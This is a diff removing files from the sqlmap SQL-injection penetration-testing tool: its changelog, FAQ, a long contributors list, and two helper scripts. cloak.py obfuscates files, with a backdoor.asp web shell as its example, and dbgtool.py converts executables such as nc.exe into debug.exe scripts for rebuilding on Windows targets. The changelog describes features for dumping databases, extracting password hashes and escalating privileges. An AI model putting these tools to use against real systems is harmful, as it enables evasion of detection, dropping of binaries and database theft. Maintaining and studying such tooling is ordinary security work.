-sqlmap (0.5-1) stable; urgency=low
-
-  * Added support for Oracle database management system
-  * Extended inband SQL injection functionality (--union-use) to all
-    other possible queries since it only worked with -e and --file on
-    all DMBS plugins;
-  * Added support to extract database users password hash on Microsoft
-    SQL Server;
-  * Added a fuzzer function with the aim to parse HTML page looking
-    for standard database error messages consequently improving
-    database fingerprinting;
-  * Added support for SQL injection on HTTP Cookie and User-Agent headers;
-  * Reviewed HTTP request library (lib/request.py) to support the
-    extended inband SQL injection functionality. Splitted getValue()
-    into getInband() and getBlind();
-  * Major enhancements in common library and added checkForBrackets()
-    method to check if the bracket(s) are needed to perform a UNION query
-    SQL injection attack;
-  * Implemented --dump-all functionality to dump entire DBMS data from
-    all databases tables;
-  * Added support to exclude DBMS system databases' when enumeration
-    tables and dumping their entries (--exclude-sysdbs);
-  * Implemented in Dump.dbTableValues() method the CSV file dumped data
-    automatic saving in csv/ folder by default;
-  * Added DB2, Informix and Sybase DBMS error messages and minor
-    improvements in xml/errors.xml;
-  * Major improvement in all three DBMS plugins so now sqlmap does not
-    get entire databases' tables structure when all of database/table/
-    column are specified to be dumped;
-  * Important fixes in lib/option.py to make sqlmap properly work also
-    with python 2.5 and handle the CSV dump files creation work also
-    under Windows operating system, function __setCSVDir() and fixed
-    also in lib/dump.py;
-  * Minor enhancement in lib/injection.py to randomize the number
-    requested to test the presence of a SQL injection affected parameter
-    and implemented the possibilities to break (q) the for cycle when
-    using the google dork option (-g);
-  * Minor fix in lib/request.py to properly encode the url to request
-    in case the "fixed" part of the url has blank spaces;
-  * More minor layout enhancements in some libraries;
-  * Renamed DMBS plugins;
-  * Complete code refactoring, a lot of minor and some major fixes in
-    libraries, many minor improvements;
-  * Updated all documentation files.
-
- -- Bernardo Damele A. G. <[email protected]>  Sun,  4 Nov 2007 20:00:00 +0100
-
-sqlmap (0.4-1) stable; urgency=low
-
-  * Added DBMS fingerprint based also upon HTML error messages parsing
-    defined in lib/parser.py which reads an XML file defining default
-    error messages for each supported DBMS;
-  * Added Microsoft SQL Server extensive DBMS fingerprint checks based
-    upon accurate '@@version' parsing matching on an XML file to get also
-    the exact patching level of the DBMS;
-  * Added support for query ETA (Estimated Time of Arrival) real time
-    calculation (--eta);
-  * Added support to extract database management system users password
-    hash on MySQL and PostgreSQL (--passwords);
-  * Added docstrings to all functions, classes and methods, consequently
-    released the sqlmap development documentation
-    <http://sqlmap.sourceforge.net/dev/>;
-  * Implemented Google dorking feature (-g) to take advantage of Google
-    results affected by SQL injection to perform other command line
-    argument on their DBMS;
-  * Improved logging functionality: passed from banal 'print' to Python
-    native logging library;
-  * Added support for more than one parameter in '-p' command line
-    option;
-  * Added support for HTTP Basic and Digest authentication methods
-    (--basic-auth and --digest-auth);
-  * Added the command line option '--remote-dbms' to manually specify
-    the remote DBMS;
-  * Major improvements in union.UnionCheck() and union.UnionUse()
-    functions to make it possible to exploit inband SQL injection also
-    with database comment characters ('--' and '#') in UNION query
-    statements;
-  * Added the possibility to save the output into a file while performing
-    the queries (-o OUTPUTFILE) so it is possible to stop and resume the
-    same query output retrieving in a second time (--resume);
-  * Added support to specify the database table column to enumerate
-    (-C COL);
-  * Added inband SQL injection (UNION query) support (--union-use);
-  * Complete code refactoring, a lot of minor and some major fixes in
-    libraries, many minor improvements;
-  * Reviewed the directory tree structure;
-  * Splitted lib/common.py: inband injection functionalities now are
-    moved to lib/union.py;
-  * Updated documentation files.
-
- -- Bernardo Damele A. G. <[email protected]>  Fri, 15 Jun 2007 20:00:00 +0100
-
-sqlmap (0.3-1) stable; urgency=low
-
-  * Added module for MS SQL Server;
-  * Strongly improved MySQL dbms active fingerprint and added MySQL
-    comment injection check;
-  * Added PostgreSQL dbms active fingerprint;
-  * Added support for string match (--string);
-  * Added support for UNION check (--union-check);
-  * Removed duplicated code, delegated most of features to the engine
-    in common.py and option.py;
-  * Added support for --data command line argument to pass the string
-    for POST requests;
-  * Added encodeParams() method to encode url parameters before making
-    http request;
-  * Many bug fixes;
-  * Rewritten documentation files;
-  * Complete code restyling.
-
- -- Bernardo Damele A. G. <[email protected]>  Sat, 20 Jan 2007 20:00:00 +0100
-
-sqlmap (0.2-1) stable; urgency=low
-
-  * complete refactor of entire program;
-  * added TODO and THANKS files;
-  * added some papers references in README file;
-  * moved headers to user-agents.txt, now -f parameter specifies a file
-    (user-agents.txt) and randomize the selection of User-Agent header;
-  * strongly improved program plugins (mysqlmap.py and postgres.py),
-    major enhancements:
-    * improved active mysql fingerprint check_dbms();
-    * improved enumeration functions for both databases;
-    * minor changes in the unescape() functions;
-  * replaced old inference algorithm with a new bisection algorithm.
-  * reviewed command line parameters, now with -p it's possible to
-    specify the parameter you know it's vulnerable to sql injection,
-    this way the script won't perform the sql injection checks itself;
-    removed the TOKEN parameter;
-  * improved Common class, adding support for http proxy and http post
-    method in hash_page;
-  * added OptionCheck class in option.py which performs all needed checks
-    on command line parameters and values;
-  * added InjectionCheck class in injection.py which performs check on
-    url stability, dynamics of parameters and injection on dynamic url
-    parameters;
-  * improved output methods in dump.py;
-  * layout enhancement on main program file (sqlmap.py), adapted to call
-    new option/injection classes and improvements on catching of
-    exceptions.
-
- -- Bernardo Damele A. G. <[email protected]>  Wed, 13 Dec 2006 20:00:00 +0100

doc/FAQ.sgml

@@ -1,109 +0,0 @@
-<!doctype linuxdoc system>
-
-<article>
-
-<title>sqlmap - Frequently Asked Questions
-<author>by <htmlurl url="mailto:[email protected]" name="Bernardo Damele A. G.">,
-<htmlurl url="mailto:[email protected]" name="Miroslav Stampar">
-<abstract>
-This document contains frequently asked questions for <htmlurl
-url="http://sqlmap.sourceforge.net" name="sqlmap">.
-</abstract>
-
-<toc>
-
-<sect>Frequently Asked Questions
-
-<sect1>What is sqlmap?
-
-<p>
-sqlmap is an open source penetration testing tool that automates the
-process of detecting and exploiting SQL injection flaws and taking over
-of database servers. It comes with a kick-ass detection engine, many niche
-features for the ultimate penetration tester and a broad range of switches
-lasting from database fingerprinting, over data fetching from the
-database, to accessing the underlying file system and executing commands
-on the operating system via out-of-band connections.
-
-<sect1>How do I execute sqlmap?
-
-<p>
-If you are running on a Unix/Linux system type the following command
-from a terminal:
-<tscreen><verb>
-python sqlmap.py -h
-</verb></tscreen>
-
-<p>
-If you are running on a Windows system type the following command
-from a terminal:
-<tscreen><verb>
-C:\Python26\python.exe sqlmap.py -h
-</verb></tscreen>
-
-<p>
-Where <tt>C:\Python26</tt> is the path where you installed <htmlurl
-url="http://www.python.org" name="Python"> <bf>>= 2.6</bf>.
-
-<sect1>Can I integrate sqlmap with a security tool I am developing?
-
-<p>
-Yes. sqlmap is released under the terms of the GPLv2, which means that any
-derivative work must be distributed without further restrictions on the
-rights granted by the GPL itself. If this constitutes a problem, feel free
-to contact us so we can find a solution.
-
-<sect1>How can I integrate sqlmap with my own tool?
-
-<p>
-TODO
-
-<sect1>Will you support other database management systems?
-
-<p>
-Yes. There are plans to support also IBM DB2, Informix and Ingres at some
-point.
-
-<sect1>How can I occasionally contribute?
-
-<p>
-All help is greatly appreciated. First of all download the tool, make sure
-you are running the latest development version from the Subversion
-repository, read the user's manual carefully, have fun with it during your
-penetration tests.
-If you find bugs or have ideas for possible improvements, feel free to
-<htmlurl url="http://sqlmap.sourceforge.net/#ml" name="get in touch on the
-mailing list">. Many people have <htmlurl
-url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/THANKS"
-name="contributed"> in different ways to the sqlmap development.
-<bf>You</bf> can be the next!
-
-<sect1>Can I actively contribute in the long-term development?
-
-<p>
-Yes, we are looking for people who can write some clean Python code, are
-up to do security research, know about web application security, database
-assessment and takeover, software refactoring and are motivated to join
-the development team.
-If this sounds interesting to you, <htmlurl
-url="http://sqlmap.sourceforge.net/#developers" name="get in touch">!
-
-<sect1>How can I support the development?
-
-<p>
-If you think that sqlmap is a great tool, it really played well during
-your penetration tests, or you simply like it, you, or your boss, can
-<htmlurl url="http://sqlmap.sourceforge.net/#donate" name="donate
-some money"> to the developers via PayPal.
-
-<sect1>Can you hack a site for me?
-
-<p>
-<bf>No</bf>.
-
-<sect1>How sqlmap decides this and that?
-
-<p>
-TODO
-
-</article>

doc/THANKS

@@ -1,554 +0,0 @@
-== Individuals ==
-
-Santiago Accurso <[email protected]>
-    for reporting a bug
-
-David Alvarez <[email protected]>
-    for reporting a bug
-
-Chip Andrews <[email protected]>
-    for his excellent work maintaining the SQL Server versions database
-    at SQLSecurity.com and permission to implement the update feature
-    taking data from his site
-
-Smith Andy <[email protected]>
-    for suggesting a feature
-
-Otavio Augusto <[email protected]>
-    for reporting a minor bug
-
-Simon Baker <[email protected]>
-    for reporting some bugs
-
-Emiliano Bazaes <[email protected]>
-    for reporting a minor bug
-
-Daniele Bellucci <[email protected]>
-    for starting sqlmap project and developing it between July and August
-    2006
-
-Velky Brat <[email protected]>
-    for suggesting a minor enhancement to the bisection algorithm
-
-Jack Butler <[email protected]>
-    for providing me with the sqlmap site favicon
-
-Ulisses Castro <[email protected]>
-    for reporting a bug
-
-Roberto Castrogiovanni <[email protected]>
-    for reporting a minor bug
-
-Cesar Cerrudo <[email protected]>
-    for his Windows access token kidnapping tool Churrasco included in
-    sqlmap tree as a contrib library and used to run the stand-alone
-    payload stager on the target Windows machine as SYSTEM user if the
-    user wants to perform a privilege escalation attack,
-    http://www.argeniss.com/research/TokenKidnapping.pdf
-
-Karl Chen <[email protected]>
-    for providing with the multithreading patch for the inference
-    algorithm
-
-Y P Chien <[email protected]>
-    for reporting a minor bug
-
-Pierre Chifflier <[email protected]> and Mark Hymers <[email protected]>
-    for uploading and accepting the sqlmap Debian package to the official
-    Debian project repository
-
-Andreas Constantinides <[email protected]>
-    for reporting a minor bug
-
-Ulises U. Cune <[email protected]>
-    for reporting a bug
-
-Alessandro Curio <[email protected]>
-    for reporting a minor bug
-
-Alessio Dalla Piazza <[email protected]>
-    for reporting a minor bug
-
-Stefano Di Paola <[email protected]>
-    for suggesting good features
-
-Mosk Dmitri <[email protected]>
-    for reporting a minor bug
-
-Carey Evans <[email protected]>
-    for his fcrypt module that allows crypt(3) support
-    on Windows platforms
-
-Adam Faheem <[email protected]>
-    for reporting a few bugs
-
-James Fisher <[email protected]>
-    for providing me with two very good feature requests
-    for his great tool too brute force directories and files names on
-    web/application servers, Dir Buster, http://tinyurl.com/dirbuster
-
-Jim Forster <[email protected]>
-    for reporting a bug
-
-Rong-En Fan <[email protected]>
-    for commiting the sqlmap 0.5 port to the official FreeBSD project
-    repository
-
-Giorgio Fedon <[email protected]>
-    for suggesting a speed improvement for bisection algorithm
-    for reporting a bug when running against Microsoft SQL Server 2005
-
-Kasper Fons <[email protected]>
-    for reporting several bugs
-
-Jose Fonseca <[email protected]>
-    for his Gprof2Dot utility for converting profiler output to dot
-    graph(s) and for his XDot utility to render nicely dot graph(s),
-    both included in sqlmap tree inside extra folder. These libraries
-    are used for sqlmap development purposes only
-    http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
-    http://code.google.com/p/jrfonseca/wiki/XDot
-
-Alan Franzoni <[email protected]>
-    for helping me out with Python subprocess library
-
-Daniel G. Gamonal <[email protected]>
-    for reporting a minor bug
-
-Marcos Mateos Garcia <[email protected]>
-    for reporting a minor bug
-
-Ivan Giacomelli <[email protected]>
-    for reporting a bug
-    for suggesting a minor enhancement
-    for reviewing the documentation
-
-Nico Golde <[email protected]>
-    for reporting a couple of bugs
-
-Oliver Gruskovnjak <[email protected]>
-    for reporting a bug
-    for providing me with a minor patch
-
-Davide Guerri <[email protected]>
-    for suggesting an enhancement
-
-Dan Guido <[email protected]>
-    for promoting sqlmap in the context of the Penetration Testing and
-    Vulnerability Analysis class at the Polytechnic University of New York,
-    http://isisblogs.poly.edu/courses/pentest/
-
-David Guimaraes <[email protected]>
-    for reporting several bugs
-    for suggesting an enhancement
-
-Chris Hall <[email protected]>
-    for coding the prettyprint.py library
-
-Tate Hansen <[email protected]>
-    for donating to sqlmap development
-
-Mario Heiderich <[email protected]>
-Christian Matthies <[email protected]>
-Lars H. Strojny <[email protected]>
-    for their great tool PHPIDS included in sqlmap tree as
-    a set of rules for testing payloads against IDS detection,
-    http://php-ids.org
-
-Kristian Erik Hermansen <[email protected]>
-    for reporting a bug
-    for donating to sqlmap development
-
-Jorge Hoya <[email protected]>
-    for suggesting a minor enhancement
-
-Will Holcomb <[email protected]>
-    for his MultipartPostHandler class to handle multipart POST forms and
-    permission to include it within sqlmap source code
-
-Daniel Huckmann <[email protected]>
-    for reporting a couple of bugs
-
-Mounir Idrassi <[email protected]>
-    for his compiled version of UPX for Mac OS X
-
-Daliev Ilya <[email protected]>
-    for reporting a bug
-
-Prashant Jadhav <[email protected]>
-    for reporting a bug
-
-Dirk Jagdmann <[email protected]>
-    for reporting a typo in the documentation
-
-Luke Jahnke <[email protected]>
-    for reporting a bug when running against MySQL < 5.0
-
-David Klein <[email protected]>
-    for reporting a minor code improvement
-
-Sven Klemm <[email protected]>
-    for reporting two minor bugs with PostgreSQL
-
-Anant Kochhar <[email protected]>
-    for providing me with feedback on the user's manual
-
-Alexander Kornbrust <[email protected]>
-    for reporting a couple of bugs
-
-Krzysztof Kotowicz <[email protected]>
-    for reporting a minor bug
-
-Nicolas Krassas <[email protected]>
-    for reporting a bug
-
-Alex Landa <[email protected]>
-    for providing a patch adding support for XML output
-
-Guido Landi <[email protected]>
-    for reporting a couple of bugs
-    for the great technical discussions
-    for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
-    'sp_replwritetovarbin' stored procedure heap-based buffer overflow
-    (MS09-004) exploit development
-    for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
-    on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on
-    November 20, 2009
-
-Lee Lawson <[email protected]>
-    for reporting a minor bug
-
-John J. Lee <[email protected]> & others
-    for developing the clientform Python library used by sqlmap to parse
-    forms when --forms switch is specified
-
-Nico Leidecker <[email protected]>
-    for providing me with feedback on a few features
-    for reporting a couple of bugs
-    for his great tool icmpsh included in sqlmap tree to get a command
-    prompt via an out-of-band tunnel over ICMP,
-    http://leidecker.info/downloads/icmpsh.zip
-
-Gabriel Lima <[email protected]>
-    for reporting a couple of bugs
-
-Svyatoslav Lisin <[email protected]>
-    for suggesting a minor feature
-
-Mark Lowe <[email protected]>
-    for reporting a couple of bugs
-
-Truong Duc Luong <[email protected]>
-    for reporting a minor bug
-
-Pavol Luptak <[email protected]>
-    for reporting a bug when injecting on a POST data parameter
-
-Michael Majchrowicz <[email protected]>
-    for extensively beta-testing sqlmap on various MySQL DBMS
-    for providing really appreciated feedback
-    for suggesting a lot of ideas and features
-
-Ferruh Mavituna <[email protected]>
-    for providing me with ideas on the implementation of a couple of
-    new features
-
-David McNab <[email protected]>
-    for his XMLObject module that allows XML files to be operated on 
-    like Python objects
-
-Spencer J. McIntyre <[email protected]>
-    for reporting a minor bug
-
-Enrico Milanese <[email protected]>
-    for reporting a bugs when using (-a) a single line User-Agent file
-    for providing me with some ideas for the PHP backdoor
-
-Anton Mogilin <[email protected]>
-    for reporting a few bugs
-
-Anastasios Monachos <[email protected]>
-    for providing some useful data
-    for suggesting a feature
-
-Kirill Morozov <[email protected]>
-    for reporting a bug
-    for suggesting a feature
-
-Alejo Murillo Moya <[email protected]>
-    for reporting a minor bug
-    for suggesting a few features
-
-Yonny Mutai <[email protected]>
-    for reporting a minor bug
-
-Roberto Nemirovsky <[email protected]>
-    for pointing me out some enhancements
-
-Markus Oberhumer <[email protected]>
-Laszlo Molnar <[email protected]>
-John F. Reiser <[email protected]>
-    for their great tool UPX (Ultimate Packer for eXecutables) included
-    in sqlmap tree as a contrib library and used mainly to pack the
-    Metasploit Framework 3 payload stager portable executable,
-    http://upx.sourceforge.net
-
-Simone Onofri <[email protected]>
-    for patching the PHP web backdoor to make it work properly also on
-    Windows
-
-Shaohua Pan <[email protected]>
-    for reporting several bugs
-    for suggesting a few features
-
-Antonio Parata <[email protected]>
-    for providing me with some ideas for the PHP backdoor
-
-Adrian Pastor <[email protected]>
-    for donating to sqlmap development
-
-Chris Patten <[email protected]>
-    for reporting a bug in the blind SQL injection bisection algorithm
-
-Zack Payton <[email protected]>
-    for reporting a minor bug
-
-Steve Pinkham <[email protected]>
-    for suggesting a feature
-    for providing a new sql injection vector (MSSQL time based)
-
-Adam Pridgen <[email protected]>
-    for suggesting some features
-
-Ole Rasmussen <[email protected]>
-    for reporting a bug
-    for suggesting a feature
-
-Alberto Revelli <[email protected]>
-    for inspiring me to write sqlmap user's manual in SGML
-    for his great Microsoft SQL Server take over tool, sqlninja,
-    http://sqlninja.sourceforge.net
-
-Andres Riancho <[email protected]>
-    for beta-testing sqlmap
-    for reporting a bug and suggesting some features
-    for including sqlmap in his great web application audit and attack
-    framework, w3af, http://w3af.sourceforge.net
-    for suggesting a way for handling DNS caching
-
-Antonio Riva <[email protected]>
-    for reporting a bug when running with python 2.5
-
-Ethan Robish <[email protected]>
-    for reporting a bug
-
-Andrea Rossi <[email protected]>
-    for reporting a minor bug
-    for suggesting a feature
-
-Richard Safran <[email protected]>
-    for donating the sqlmap.org domain control
-
-Tomoyuki Sakurai <[email protected]>
-    for submitting to the FreeBSD project the sqlmap 0.5 port
-
-Pedro Jacques Santos Santiago <[email protected]>
-    for reporting several bugs
-
-Marek Sarvas <[email protected]>
-    for reporting several bugs
-
-Philippe A. R. Schaeffer <[email protected]>
-    for reporting a minor bug
-
-Jorge Santos <[email protected]>
-    for reporting a minor bug
-
-Sven Schluter <[email protected]>
-    for providing with a patch for waiting a number of seconds between
-    each HTTP request
-
-Ryan Sears <[email protected]>
-    for suggesting a couple of enhancements
-
-Uemit Seren <[email protected]>
-    for reporting a minor adjustment when running with python 2.6
-
-Ahmed Shawky <[email protected]>
-    for reporting a major bug with improper handling of parameter values
-    for reporting a bug
-
-Brian Shura <[email protected]>
-    for reporting a bug
-
-Sumit Siddharth <[email protected]>
-    for providing me with ideas on the implementation of a couple of
-    features
-
-Andre Silva <[email protected]>
-    for reporting a bug
-
-M Simkin <[email protected]>
-    for suggesting a feature
-
-Konrads Smelkovs <[email protected]>
-    for reporting a few bugs in --sql-shell and --sql-query on Microsoft
-    SQL Server
-
-Michael D. Stenner <[email protected]>
-    for his keepalive module that allows handling of persistent 
-    HTTP 1.1 keep-alive connections
-
-Marek Stiefenhofer <[email protected]>
-    for reporting a bug
-
-Jason Swan <[email protected]>
-    for reporting a bug when enumerating columns on Microsoft SQL Server
-    for suggesting a couple of improvements
-
-Chilik Tamir <[email protected]>
-    for providing a patch for initial support SOAP requests
-
-Alessandro Tanasi <[email protected]>
-    for extensively beta-testing sqlmap
-    for suggesting many features and reporting some bugs
-    for reviewing the documentation
-
-Andres Tarasco <[email protected]>
-    for providing me with good feedback
-
-Kazim Bugra Tombul <[email protected]>
-    for reporting a minor bug
-
-Efrain Torres <[email protected]>
-    for helping me out to improve the Metasploit Framework 3 sqlmap
-    auxiliary module and for commiting it on the Metasploit official
-    subversion repository
-    for his great Metasploit WMAP Framework
-
-Sandro Tosi <[email protected]>
-    for helping to create sqlmap Debian package correctly
-
-Vitaly Turenko <[email protected]>
-    for reporting a bug
-
-Augusto Urbieta <[email protected]>
-    for reporting a minor bug
-
-Bedirhan Urgun <[email protected]>
-    for reporting a few bugs
-    for suggesting some features and improvements
-    for benchmarking sqlmap in the context of his SQL injection
-    benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
-
-Kyprianos Vasilopoulos <[email protected]>
-    for reporting a couple of minor bugs
-
-Carlos Gabriel Vergara <[email protected]>
-    for suggesting couple of good features
-
-Anthony Zboralski <[email protected]>
-    for providing me with detailed feedback
-    for reporting a few minor bugs
-    for donating to sqlmap development
-
-Thierry Zoller <[email protected]>
-    for reporting a couple of major bugs
-
--insane- <[email protected]>
-    for reporting a minor bug
-
-abc abc <[email protected]>
-    for reporting a minor bug
-
-Brandon E. <[email protected]>
-    for reporting a bug
-
-black zero <[email protected]>
-    for reporting a minor bug
-
-buawig <[email protected]>
-    for reporting considerable amount of bugs
-
-Bugtrace <[email protected]>
-    for reporting several bugs
-
-dragoun dash <[email protected]>
-    for reporting a minor bug
-	
-fufuh <[email protected]>
-    for reporting a bug when running on Windows
-
-james <[email protected]>
-    for reporting a bug
-
-m4l1c3 <[email protected]>
-    for reporting considerable amount of bugs
-
-mariano <[email protected]>
-    for reporting a bug
-
-mitchell <[email protected]>
-    for reporting a bug
-
-nightman <[email protected]>
-    for reporting several bugs
-
-pacman730 <[email protected]>
-    for reporting a bug
-
-Phat R. <[email protected]>
-    for reporting a minor bug
-
-Joe "Pragmatk" <[email protected]>
-    for reporting a few bugs
-
-ragos <[email protected]>
-    for reporting a minor bug
-
-shiftzwei <[email protected]>
-    for reporting a couple of bugs
-
-Stuffe <[email protected]>
-    for reporting a minor bug and a feature request
-
-Sylphid <[email protected]>
-    for suggesting some features
-
-syssecurity.info <[email protected]>
-    for reporting a minor bug
-
-ToR <[email protected]>
-    for reporting considerable amount of bugs
-    for suggesting a feature
-
-ultramegaman <[email protected]>
-    for reporting a minor bug
-
-wanglei <[email protected]>
-    for reporting a minor bug
-
-warninggp <[email protected]>
-    for reporting a few minor bugs
-
-x <[email protected]>
-    for reporting a bug
-
-== Organizations ==
-
-Black Hat team <[email protected]>
-    for the opportunity to present my research on 'Advanced SQL injection
-    to operating system full control' at Black Hat Europe 2009 Briefings on
-    April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
-    the sqlmap 0.7 release candidate version new features during my
-    presentation
-
-Metasploit LLC <[email protected]>
-    for their powerful tool Metasploit Framework 3, used by sqlmap, among
-    others things, to create the shellcode and establish an out-of-band
-    connection between sqlmap and the database server,
-    http://www.metasploit.com/framework
-
-OWASP Board <http://www.owasp.org>
-    for sponsoring part of the sqlmap development in the context of OWASP
-    Spring of Code 2007

extra/__init__.py

@@ -1,10 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-pass

extra/clientform/__init__.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2007-2008 David McNab
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-pass

extra/cloak/README.txt

@@ -1,22 +0,0 @@
-To use cloak.py you need to pass it the original file,
-and optionally the output file name.
-
-Example:
-
-$ python ./cloak.py -i backdoor.asp -o backdoor.asp_
-
-This will create an encrypted and compressed binary file backdoor.asp_.
-
-Such file can then be converted to its original form by using the -d
-functionality of the cloak.py program:
-
-$ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp
-
-If you skip the output file name, general rule is that the compressed
-file names are suffixed with the character '_', while the original is
-get by skipping the last character. So, that means that the upper
-examples can also be written in the following form:
-
-$ python ./cloak.py -i backdoor.asp
-
-$ python ./cloak.py -d -i backdoor.asp_

extra/cloak/__init__.py

@@ -1,10 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-pass

extra/cloak/cloak.py

@@ -1,81 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-cloak.py - Simple file encryption/compression utility
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-import bz2
-import os
-import sys
-
-from optparse import OptionError
-from optparse import OptionParser
-
-def hideAscii(data):
-    retVal = ""
-    for i in xrange(len(data)):
-        if ord(data[i]) < 128:
-            retVal += chr(ord(data[i]) ^ 127)
-        else:
-            retVal += data[i]
-
-    return retVal
-
-def cloak(inputFile):
-    f = open(inputFile, 'rb')
-    data = bz2.compress(f.read())
-    f.close()
-
-    return hideAscii(data)
-
-def decloak(inputFile):
-    f = open(inputFile, 'rb')
-    data = bz2.decompress(hideAscii(f.read()))
-    f.close()
-
-    return data
-
-def main():
-    usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
-    parser  = OptionParser(usage=usage, version='0.1')
-
-    try:
-        parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
-        parser.add_option('-i', dest='inputFile', help='Input file')
-        parser.add_option('-o', dest='outputFile', help='Output file')
-
-        (args, _) = parser.parse_args()
-
-        if not args.inputFile:
-            parser.error('Missing the input file, -h for help')
-
-    except (OptionError, TypeError), e:
-        parser.error(e)
-
-    if not os.path.isfile(args.inputFile):
-        print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile
-        sys.exit(1)
-
-    if not args.decrypt:
-        data = cloak(args.inputFile)
-    else:
-        data = decloak(args.inputFile)
-
-    if not args.outputFile:
-        if not args.decrypt:
-            args.outputFile = args.inputFile + '_'
-        else:
-            args.outputFile = args.inputFile[:-1]
-
-    fpOut      = open(args.outputFile, 'wb')
-    sys.stdout = fpOut
-    sys.stdout.write(data)
-    sys.stdout.close()
-
-if __name__ == '__main__':
-    main()

extra/dbgtool/README.txt

@@ -1,20 +0,0 @@
-To use dbgtool.py you need to pass it the MS-DOS executable binary file,
-and optionally the output debug.exe script file name.
-
-Example:
-
-$ python ./dbgtool.py -i ./nc.exe -o nc.scr
-
-This will create a ASCII text file with CRLF line terminators called
-nc.scr.
-
-Such file can then be converted to its original portable executable with
-the Windows native debug.exe, that is installed by default in all Windows
-systems:
-
-> debug.exe < nc.scr
-
-To be able to execute it on Windows you have to rename it to end with
-'.com' or '.exe':
-
-> ren nc_exe nc.exe

extra/dbgtool/__init__.py

@@ -1,10 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-pass

extra/dbgtool/dbgtool.py

@@ -1,97 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-dbgtool.py - Portable executable to ASCII debug script converter
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-import os
-import sys
-import struct
-
-from optparse import OptionError
-from optparse import OptionParser
-
-def convert(inputFile):
-    fileStat = os.stat(inputFile)
-    fileSize = fileStat.st_size
-
-    if fileSize > 65280:
-        print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
-        sys.exit(1)
-
-    script     = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
-    script    += "%x\nf 0100 ffff 00\n" % fileSize
-    scrString  = ""
-    counter    = 256
-    counter2   = 0
-
-    fp          = open(inputFile, "rb")
-    fileContent = fp.read()
-
-    for fileChar in fileContent:
-        unsignedFileChar = struct.unpack("B", fileChar)[0]
-
-        if unsignedFileChar != 0:
-            counter2 += 1
-
-            if not scrString:
-                scrString  = "e %0x %02x" % (counter, unsignedFileChar)
-            else:
-                scrString += " %02x" % unsignedFileChar
-        elif scrString:
-            script   += "%s\n" % scrString
-            scrString = ""
-            counter2  = 0
-
-        counter += 1
-
-        if counter2 == 20:
-            script    += "%s\n" % scrString
-            scrString  = ""
-            counter2   = 0
-
-    script += "w\nq\n"
-
-    return script
-
-def main(inputFile, outputFile):
-    if not os.path.isfile(inputFile):
-        print "ERROR: the provided input file '%s' is not a regular file" % inputFile
-        sys.exit(1)
-
-    script = convert(inputFile)
-
-    if outputFile:
-        fpOut      = open(outputFile, "w")
-        sys.stdout = fpOut
-        sys.stdout.write(script)
-        sys.stdout.close()
-    else:
-        print script
-
-if __name__ == "__main__":
-    usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
-    parser  = OptionParser(usage=usage, version="0.1")
-
-    try:
-        parser.add_option("-i", dest="inputFile", help="Input binary file")
-
-        parser.add_option("-o", dest="outputFile", help="Output debug.exe text file")
-
-        (args, _) = parser.parse_args()
-
-        if not args.inputFile:
-            parser.error("Missing the input file, -h for help")
-
-    except (OptionError, TypeError), e:
-        parser.error(e)
-
-    inputFile  = args.inputFile
-    outputFile = args.outputFile
-
-    main(inputFile, outputFile)

extra/fcrypt/__init__.py

@@ -1,26 +0,0 @@
-#!/usr/bin/env python
-
-#Copyright (c) 2004, Carey Evans <[email protected]>
-#All rights reserved.
-
-#Redistribution and use in source and binary forms, with or without modification,
-#are permitted provided that the following conditions are met:
-
-#* Redistributions of source code must retain the above copyright notice,
-#this list of conditions and the following disclaimer.
-#* Redistributions in binary form must reproduce the above copyright notice,
-#this list of conditions and the following disclaimer in the documentation
-#and/or other materials provided with the distribution.
-
-#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
-#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
